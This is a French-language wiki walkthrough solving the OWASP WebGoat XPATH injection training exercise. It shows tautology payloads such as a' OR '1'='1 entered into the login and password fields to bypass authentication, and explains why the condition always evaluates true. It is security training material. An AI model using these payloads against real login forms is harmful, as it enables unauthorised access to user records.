OWASP WebGoat:XPATH Injection

From aldeid
Jump to navigation Jump to search

XPATH Injection

Description

L'objectif de cet exercice est de vous montrer que les injections XPATH (requêtes XML) s'exploitent de la même manière que pour les attaques standards SQL.

Résolution de l'exercice

La requête est du type suivant :

select * from employee where username='user' and password='pass'

Pour que celle-ci remonte tous les enregistrements, il est nécessaire qu'elle soit toujours vraie. Pour ce faire, la requête peut être du type suivant :

select
from employee
where username='a' OR '1'='1'
and password='a' OR '1'='1'
Note
A ce stade, il est possible d'injecter ces chaînes dans les champs "login" et "password".

ce qui peut être simplifié, si l'on souhaite insérer toutes la charge dans le seul champ "login" :

select
from employee
where username='a' or 1=1 or 'a'='a'
and password='hack'

Les tests de cette dernière requête seront interprétés comme suit :

where (username='a' or 1=1) or ('a'='a' and password='hack')
      \_______ VRAI ______/    \____________ FAUX _________/

Or, "vrai" OU "faux" retourne "vrai".

L'exercice est résolu :